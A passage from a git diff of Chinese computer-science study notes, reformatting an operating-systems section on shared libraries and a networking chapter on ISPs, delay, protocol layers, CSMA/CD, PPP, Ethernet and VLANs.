-共享库是为了解决静态库的这两个问题而设计的，在 Linux 系统中通常用 .so 后缀来表示，Windows 系统上它们被称为 DLL。它具有以下特点：
+共享库是为了解决静态库的这两个问题而设计的，在 Linux 系统中通常用 .so 后缀来表示，Windows 系统上它们被称为 DLL。它具有以下特点：
 
-- 在给定的文件系统中一个库只有一个文件，所有引用该库的可执行目标文件都共享这个文件，它不会被复制到引用它的可执行文件中；
-- 在内存中，一个共享库的 .text 节（已编译程序的机器代码）的一个副本可以被不同的正在运行的进程共享。
+- 在给定的文件系统中一个库只有一个文件，所有引用该库的可执行目标文件都共享这个文件，它不会被复制到引用它的可执行文件中；
+- 在内存中，一个共享库的 .text 节（已编译程序的机器代码）的一个副本可以被不同的正在运行的进程共享。
 
-![](index_files/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg)
+<div align="center"> <img src="pics/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg"/> </div><br>
 
-# 参考资料
+# 参考资料
 
-- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
-- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
-- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.
-- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
-- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
-- [Operating-System Structures](https://www.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/2_Structures.html)
-- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
-- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
-- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
----bottom---CyC---
-![](index_files/tGPV0.png)
-![](index_files/2_14_microkernelArchitecture.jpg)
-![](index_files/a6ac2b08-3861-4e85-baa8-382287bfee9f.png)
-![](index_files/3cd630ea-017c-488d-ad1d-732b4efeddf5.png)
-![](index_files/ProcessState.png)
-![](index_files/8c662999-c16c-481c-9f40-1fdba5bc9167.png)
-![](index_files/042cf928-3c8e-4815-ae9c-f2780202c68f.png)
-![](index_files/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg)
-![](index_files/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png)
-![](index_files/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png)
-![](index_files/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png)
-![](index_files/b1fa0453-a4b0-4eae-a352-48acca8fff74.png)
-![](index_files/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png)
-![](index_files/ed523051-608f-4c3f-b343-383e2d194470.png)
-![](index_files/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png)
-![](index_files/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png)
-![](index_files/7b281b1e-0595-402b-ae35-8c91084c33c1.png)
-![](index_files/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png)
-![](index_files/eb859228-c0f2-4bce-910d-d9f76929352b.png)
-![](index_files/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png)
-![](index_files/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png)
-![](index_files/22de0538-7c6e-4365-bd3b-8ce3c5900216.png)
-![](index_files/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png)
-![](index_files/4e2485e4-34bd-4967-9f02-0c093b797aaa.png)
-![](index_files/271ce08f-c124-475f-b490-be44fedc6d2e.png)
-![](index_files/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg)
-![](index_files/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg)
-![](index_files/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg)
+- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
+- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
+- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.
+- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
+- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
+- [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html)
+- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
+- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
+- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 3bf672aa..192596f8 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,886 +1,890 @@
-# 一、概述
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概述](#一概述)
+    * [网络的网络](#网络的网络)
+    * [ISP](#isp)
+    * [主机之间的通信方式](#主机之间的通信方式)
+    * [电路交换与分组交换](#电路交换与分组交换)
+    * [时延](#时延)
+    * [计算机网络体系结构](#计算机网络体系结构)
+* [二、物理层](#二物理层)
+    * [通信方式](#通信方式)
+    * [带通调制](#带通调制)
+* [三、数据链路层](#三数据链路层)
+    * [基本问题](#基本问题)
+    * [信道分类](#信道分类)
+    * [信道复用技术](#信道复用技术)
+    * [CSMA/CD 协议](#csmacd-协议)
+    * [PPP 协议](#ppp-协议)
+    * [MAC 地址](#mac-地址)
+    * [局域网](#局域网)
+    * [以太网](#以太网)
+    * [交换机](#交换机)
+    * [虚拟局域网](#虚拟局域网)
+* [四、网络层](#四网络层)
+    * [概述](#概述)
+    * [IP 数据报格式](#ip-数据报格式)
+    * [IP 地址编址方式](#ip-地址编址方式)
+    * [地址解析协议 ARP](#地址解析协议-arp)
+    * [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
+    * [虚拟专用网 VPN](#虚拟专用网-vpn)
+    * [网络地址转换 NAT](#网络地址转换-nat)
+    * [路由器的结构](#路由器的结构)
+    * [路由器分组转发流程](#路由器分组转发流程)
+    * [路由选择协议](#路由选择协议)
+* [五、传输层](#五传输层)
+    * [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
+    * [UDP 首部格式](#udp-首部格式)
+    * [TCP 首部格式](#tcp-首部格式)
+    * [TCP 的三次握手](#tcp-的三次握手)
+    * [TCP 的四次挥手](#tcp-的四次挥手)
+    * [TCP 可靠传输](#tcp-可靠传输)
+    * [TCP 滑动窗口](#tcp-滑动窗口)
+    * [TCP 流量控制](#tcp-流量控制)
+    * [TCP 拥塞控制](#tcp-拥塞控制)
+* [六、应用层](#六应用层)
+    * [域名系统](#域名系统)
+    * [文件传送协议](#文件传送协议)
+    * [动态主机配置协议](#动态主机配置协议)
+    * [远程登录协议](#远程登录协议)
+    * [电子邮件协议](#电子邮件协议)
+    * [常用端口](#常用端口)
+    * [Web 页面请求过程](#web-页面请求过程)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 网络的网络
+
+# 一、概述
+
+## 网络的网络
 
 网络把主机连接起来，而互联网是把多种不同的网络连接起来，因此互联网是网络的网络。
 
-<img src="index_files/network-of-networks.gif" width="450"/>
+<div align="center"> <img src="pics/network-of-networks.gif" width="450"/> </div><br>
 
-## ISP
+## ISP
 
-互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
+互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
 
-<img src="index_files/46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/>
+<div align="center"> <img src="pics/46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/> </div><br>
 
-目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
+目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
 
-<img src="index_files/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/>
+<div align="center"> <img src="pics/168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/> </div><br>
 
-## 主机之间的通信方式
+## 主机之间的通信方式
 
-- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。
+- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。
 
-- 对等（P2P）：不区分客户和服务器。
+- 对等（P2P）：不区分客户和服务器。
 
-<img src="index_files/2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/>
+<div align="center"> <img src="pics/2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/> </div><br>
 
-## 电路交换与分组交换
+## 电路交换与分组交换
 
-### 1. 电路交换
+### 1. 电路交换
 
-电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
+电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
 
-### 2. 分组交换
+### 2. 分组交换
 
 每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。
 
 在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
 
-## 时延
+## 时延
 
-总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延
+总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延
 
-<img src="index_files/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg" width="600"/>
+<div align="center"> <img src="pics/f71125b7-f7cb-4a96-9bf0-902bce9487f0.jpg" width="600"/> </div><br>
 
-### 1. 排队时延
+### 1. 排队时延
 
 分组在路由器的输入队列和输出队列中排队等待的时间，取决于网络当前的通信量。
 
-### 2. 处理时延
+### 2. 处理时延
 
 主机或路由器收到分组时进行处理所需要的时间，例如分析首部、从分组中提取数据、进行差错检验或查找适当的路由等。
 
-### 3. 传输时延
+### 3. 传输时延
 
 主机或路由器传输数据帧所需要的时间。
 
-$$ delay = \frac{l(bit)}{v(bit/s)} $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(bit)}{v(bit/s)}"/></div> <br>
 
-其中 l 表示数据帧的长度，v 表示传输速率。
+其中 l 表示数据帧的长度，v 表示传输速率。
 
-### 4. 传播时延
+### 4. 传播时延
 
 电磁波在信道中传播所需要花费的时间，电磁波传播的速度接近光速。
 
-$$ delay = \frac{l(m)}{v(m/s)} $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}"/></div> <br>
 
-其中 l 表示信道长度，v 表示电磁波在信道上的传播速度。
+其中 l 表示信道长度，v 表示电磁波在信道上的传播速度。
 
-## 计算机网络体系结构
+## 计算机网络体系结构
 
-<img src="index_files/7fa66f48-bc42-4b98-93c2-56b20feaa990.png" width="500"/>
+<div align="center"> <img src="pics/7fa66f48-bc42-4b98-93c2-56b20feaa990.png" width="500"/> </div><br>
 
-### 1. 五层协议
+### 1. 五层协议
 
-- **应用层**：为特定应用程序提供数据传输服务，例如 HTTP、DNS 等。数据单位为报文。
+-  **应用层** ：为特定应用程序提供数据传输服务，例如 HTTP、DNS 等。数据单位为报文。
 
-- **传输层**：为进程提供通用数据传输服务。由于应用层协议很多，定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议：传输控制协议 TCP，提供面向连接、可靠的数据传输服务，数据单位为报文段；用户数据报协议 UDP，提供无连接、尽最大努力的数据传输服务，数据单位为用户数据报。TCP 主要提供完整性服务，UDP 主要提供及时性服务。
+-  **传输层** ：为进程提供通用数据传输服务。由于应用层协议很多，定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议：传输控制协议 TCP，提供面向连接、可靠的数据传输服务，数据单位为报文段；用户数据报协议 UDP，提供无连接、尽最大努力的数据传输服务，数据单位为用户数据报。TCP 主要提供完整性服务，UDP 主要提供及时性服务。
 
-- **网络层**：为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。
+-  **网络层** ：为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。
 
-- **数据链路层**：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。
+-  **数据链路层** ：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。
 
-- **物理层**：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
+-  **物理层** ：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
 
-### 2. OSI
+### 2. OSI
 
 其中表示层和会话层用途如下：
 
-- **表示层**：数据压缩、加密以及数据描述，这使得应用程序不必关心在各台主机中数据内部格式不同的问题。
+-  **表示层** ：数据压缩、加密以及数据描述，这使得应用程序不必关心在各台主机中数据内部格式不同的问题。
 
-- **会话层**：建立及管理会话。
+-  **会话层** ：建立及管理会话。
 
 五层协议没有表示层和会话层，而是将这些功能留给应用程序开发者处理。
 
-### 3. TCP/IP
+### 3. TCP/IP
 
 它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。
 
-TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
+TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
 
-<img src="index_files/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png" width="250"/>
+<div align="center"> <img src="pics/7048a730-a2d0-43d1-99ce-f774e4ef1b27.png" width="250"/> </div><br>
 
-### 4. 数据在各层之间的传递过程
+### 4. 数据在各层之间的传递过程
 
 在向下的过程中，需要添加下层协议所需要的首部或者尾部，而在向上的过程中不断拆开首部和尾部。
 
 路由器只有下面三层协议，因为路由器位于网络核心中，不需要为进程或者应用程序提供服务，因此也就不需要传输层和应用层。
 
-# 二、物理层
+# 二、物理层
 
-## 通信方式
+## 通信方式
 
 根据信息在传输线上的传送方向，分为以下三种通信方式：
 
-- 单工通信：单向传输
-- 半双工通信：双向交替传输
-- 全双工通信：双向同时传输
+- 单工通信：单向传输
+- 半双工通信：双向交替传输
+- 全双工通信：双向同时传输
 
-## 带通调制
+## 带通调制
 
 模拟信号是连续的信号，数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
 
-<img src="index_files/c34f4503-f62c-4043-9dc6-3e03288657df.jpg" width="500"/>
+<div align="center"> <img src="pics/c34f4503-f62c-4043-9dc6-3e03288657df.jpg" width="500"/> </div><br>
 
-# 三、数据链路层
+# 三、数据链路层
 
-## 基本问题
+## 基本问题
 
-### 1. 封装成帧
+### 1. 封装成帧
 
 将网络层传下来的分组添加首部和尾部，用于标记帧的开始和结束。
 
-<img src="index_files/9c60793f-5e7f-453b-8413-35890c24abc4.png" width="500"/>
+<div align="center"> <img src="pics/9c60793f-5e7f-453b-8413-35890c24abc4.png" width="500"/> </div><br>
 
-### 2. 透明传输
+### 2. 透明传输
 
 透明表示一个实际存在的事物看起来好像不存在一样。
 
 帧使用首部和尾部进行定界，如果帧的数据部分含有和首部尾部相同的内容，那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符。如果数据部分出现转义字符，那么就在转义字符前面再加个转义字符。在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符，用户察觉不到转义字符的存在。
 
-<img src="index_files/839207f5-52fd-4516-9370-956dcdf2c2b5.png" width="600"/>
+<div align="center"> <img src="pics/839207f5-52fd-4516-9370-956dcdf2c2b5.png" width="600"/> </div><br>
 
-### 3. 差错检测
+### 3. 差错检测
 
 目前数据链路层广泛使用了循环冗余检验（CRC）来检查比特差错。
 
-## 信道分类
+## 信道分类
 
-### 1. 广播信道
+### 1. 广播信道
 
 一对多通信，一个节点发送的数据能够被广播信道上所有的节点接收到。
 
 所有的节点都在同一个广播信道上发送数据，因此需要有专门的控制方法进行协调，避免发生冲突（冲突也叫碰撞）。
 
-主要有两种控制方法进行协调，一个是使用信道复用技术，一是使用 CSMA/CD 协议。
+主要有两种控制方法进行协调，一个是使用信道复用技术，一是使用 CSMA/CD 协议。
 
-### 2. 点对点信道
+### 2. 点对点信道
 
 一对一通信。
 
-因为不会发生碰撞，因此也比较简单，使用 PPP 协议进行控制。
+因为不会发生碰撞，因此也比较简单，使用 PPP 协议进行控制。
 
-## 信道复用技术
+## 信道复用技术
 
-### 1. 频分复用
+### 1. 频分复用
 
 频分复用的所有主机在相同的时间占用不同的频率带宽资源。
 
-<img src="index_files/7e6cb8fc-1b82-4135-8b03-ebcfc546d94c.png" width="450"/>
+<div align="center"> <img src="pics/7e6cb8fc-1b82-4135-8b03-ebcfc546d94c.png" width="450"/> </div><br>
 
-### 2. 时分复用
+### 2. 时分复用
 
 时分复用的所有主机在不同的时间占用相同的频率带宽资源。
 
-<img src="index_files/49e53613-46f8-4308-9ee5-c09d62367577.png" width="450"/>
+<div align="center"> <img src="pics/49e53613-46f8-4308-9ee5-c09d62367577.png" width="450"/> </div><br>
 
 使用频分复用和时分复用进行通信，在通信的过程中主机会一直占用一部分信道资源。但是由于计算机数据的突发性质，通信过程没必要一直占用信道资源而不让出给其它用户使用，因此这两种方式对信道的利用率都不高。
 
-### 3. 统计时分复用
+### 3. 统计时分复用
 
 是对时分复用的一种改进，不固定每个用户在时分复用帧中的位置，只要有数据就集中起来组成统计时分复用帧然后发送。
 
-<img src="index_files/e3360fa0-680e-486b-945f-09ff5d8612e4.png" width="450"/>
+<div align="center"> <img src="pics/e3360fa0-680e-486b-945f-09ff5d8612e4.png" width="450"/> </div><br>
 
-### 4. 波分复用
+### 4. 波分复用
 
 光的频分复用。由于光的频率很高，因此习惯上用波长而不是频率来表示所使用的光载波。
 
-### 5. 码分复用
+### 5. 码分复用
 
-为每个用户分配 m bit 的码片，并且所有的码片正交，对于任意两个码片 $\vec{S}$ 和 $\vec{T}$ 有
+为每个用户分配 m bit 的码片，并且所有的码片正交，对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}"/> 有
 
-$$ \frac{1}{m} \vec{S} \cdot \vec{T} = 0 $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
 
-为了讨论方便，取 m=8，设码片 $\vec{S}$ 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片，发送比特 0 时就发送该码片的反码 11100100。
+为了讨论方便，取 m=8，设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片，发送比特 0 时就发送该码片的反码 11100100。
 
-在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1)，可以得到
+在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1)，可以得到
 
-$$ \frac{1}{m} \vec{S} \cdot \vec{S} = 1 $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S}=1"/></div> <br>
 
-$$ \frac{1}{m} \vec{S} \cdot \vec{S'} = -1 $$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S'}=-1"/></div> <br>
 
-其中 $\vec{S'}$ 为 $\vec{S}$ 的反码。
+其中 <img src="https://latex.codecogs.com/gif.latex?\vec{S'}"/> 为 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 的反码。
 
-利用上面的式子我们知道，当接收端使用码片 $\vec{S}$ 对接收到的数据进行内积运算时，结果为 0 的是其它用户发送的数据，结果为 1 的是用户发送的比特 1，结果为 -1 的是用户发送的比特 0。
+利用上面的式子我们知道，当接收端使用码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 对接收到的数据进行内积运算时，结果为 0 的是其它用户发送的数据，结果为 1 的是用户发送的比特 1，结果为 -1 的是用户发送的比特 0。
 
-码分复用需要发送的数据量为原先的 m 倍。
+码分复用需要发送的数据量为原先的 m 倍。
 
-<img src="index_files/c7875be7-fce5-43c7-ac77-d8dbe6c0ae1b.png" width="600"/>
+<div align="center"> <img src="pics/c7875be7-fce5-43c7-ac77-d8dbe6c0ae1b.png" width="600"/> </div><br>
 
-## CSMA/CD 协议
+## CSMA/CD 协议
 
-CSMA/CD 表示载波监听多点接入 / 碰撞检测。
+CSMA/CD 表示载波监听多点接入 / 碰撞检测。
 
-- **多点接入**：说明这是总线型网络，许多主机以多点的方式连接到总线上。
-- **载波监听**：每个主机都必须不停地监听信道。在发送前，如果监听到信道正在使用，就必须等待。
-- **碰撞检测**：在发送中，如果监听到信道已有其它主机正在发送数据，就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲，但是由于电磁波的传播时延的存在，还是有可能会发生碰撞。
+-  **多点接入** ：说明这是总线型网络，许多主机以多点的方式连接到总线上。
+-  **载波监听** ：每个主机都必须不停地监听信道。在发送前，如果监听到信道正在使用，就必须等待。
+-  **碰撞检测** ：在发送中，如果监听到信道已有其它主机正在发送数据，就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲，但是由于电磁波的传播时延的存在，还是有可能会发生碰撞。
 
-记端到端的传播时延为 τ，最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞，称 2τ 为 **争用期**。只有经过争用期之后还没有检测到碰撞，才能肯定这次发送不会发生碰撞。
+记端到端的传播时延为 τ，最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞，称 2τ 为  **争用期** 。只有经过争用期之后还没有检测到碰撞，才能肯定这次发送不会发生碰撞。
 
-当发生碰撞时，站点要停止发送，等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数，记作 r，然后取 r 倍的争用期作为重传等待时间。
+当发生碰撞时，站点要停止发送，等待一段时间再发送。这个时间采用  **截断二进制指数退避算法**  来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数，记作 r，然后取 r 倍的争用期作为重传等待时间。
 
-<img src="index_files/9bd12b89-f99c-49f4-ae45-410f76a713d6.png" width="500"/>
+<div align="center"> <img src="pics/9bd12b89-f99c-49f4-ae45-410f76a713d6.png" width="500"/> </div><br>
 
-## PPP 协议
+## PPP 协议
 
-互联网用户通常需要连接到某个 ISP 之后才能接入到互联网，PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
+互联网用户通常需要连接到某个 ISP 之后才能接入到互联网，PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
 
-<img src="index_files/2f237854-bb35-4c57-a7fe-ab2ab144f56e.jpg" width="300"/>
+<div align="center"> <img src="pics/2f237854-bb35-4c57-a7fe-ab2ab144f56e.jpg" width="300"/> </div><br>
 
-PPP 的帧格式：
+PPP 的帧格式：
 
-- F 字段为帧的定界符
-- A 和 C 字段暂时没有意义
-- FCS 字段是使用 CRC 的检验序列
-- 信息部分的长度不超过 1500
+- F 字段为帧的定界符
+- A 和 C 字段暂时没有意义
+- FCS 字段是使用 CRC 的检验序列
+- 信息部分的长度不超过 1500
 
-<img src="index_files/63010737-2cb4-48f3-999f-09194481b227.png" width="500"/>
+<div align="center"> <img src="pics/63010737-2cb4-48f3-999f-09194481b227.png" width="500"/> </div><br>
 
-## MAC 地址
+## MAC 地址
 
-MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标识网络适配器（网卡）。
+MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标识网络适配器（网卡）。
 
-一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器，因此就有两个 MAC 地址。
+一台主机拥有多少个网络适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器，因此就有两个 MAC 地址。
 
-## 局域网
+## 局域网
 
 局域网是一种典型的广播信道，主要特点是网络为一个单位所拥有，且地理范围和站点数目均有限。
 
-主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
+主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
 
 可以按照网络拓扑结构对局域网进行分类：
 
-<img src="index_files/df01dbcd-4a3c-4877-86e8-5590d7589788.jpg" width="800"/>
+<div align="center"> <img src="pics/df01dbcd-4a3c-4877-86e8-5590d7589788.jpg" width="800"/> </div><br>
 
-## 以太网
+## 以太网
 
 以太网是一种星型拓扑结构局域网。
 
-早期使用集线器进行连接，集线器是一种物理层设备， 作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离，之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧，那么就发生了碰撞。
+早期使用集线器进行连接，集线器是一种物理层设备， 作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离，之后再将这个比特发送到其它所有接口。如果集线器同时收到两个不同接口的帧，那么就发生了碰撞。
 
-目前以太网使用交换机替代了集线器，交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
+目前以太网使用交换机替代了集线器，交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
 
 以太网帧格式：
 
-- **类型**：标记上层使用的协议；
-- **数据**：长度在 46-1500 之间，如果太小则需要填充；
-- **FCS**：帧检验序列，使用的是 CRC 检验方法；
+-  **类型** ：标记上层使用的协议；
+-  **数据** ：长度在 46-1500 之间，如果太小则需要填充；
+-  **FCS** ：帧检验序列，使用的是 CRC 检验方法；
 
-<img src="index_files/420f4dc0-6c4b-486c-afea-274299014462.png" width="550"/>
+<div align="center"> <img src="pics/420f4dc0-6c4b-486c-afea-274299014462.png" width="550"/> </div><br>
 
-## 交换机
+## 交换机
 
-交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。
+交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。
 
 正是由于这种自学习能力，因此交换机是一种即插即用设备，不需要网络管理员手动配置交换表内容。
 
-下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 向主机 A 发送数据包时，交换机查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
+下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 向主机 A 发送数据包时，交换机查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
 
-<img src="index_files/80646c77-1f32-484c-810e-af80ce00f902.png" width="800"/>
+<div align="center"> <img src="pics/80646c77-1f32-484c-810e-af80ce00f902.png" width="800"/> </div><br>
 
-## 虚拟局域网
+## 虚拟局域网
 
 虚拟局域网可以建立与物理位置无关的逻辑组，只有在同一个虚拟局域网中的成员才会收到链路层广播信息。
 
-例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
+例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
 
-使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊接口被设置为干线接口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
+使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊接口被设置为干线接口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
 
-<img src="index_files/99208bd0-1454-4618-9969-0c2deb8bba0f.png" width="500"/>
+<div align="center"> <img src="pics/99208bd0-1454-4618-9969-0c2deb8bba0f.png" width="500"/> </div><br>
 
-# 四、网络层
+# 四、网络层
 
-## 概述
+## 概述
 
 因为网络层是整个互联网的核心，因此应当让网络层尽可能简单。网络层向上只提供简单灵活的、无连接的、尽最大努力交互的数据报服务。
 
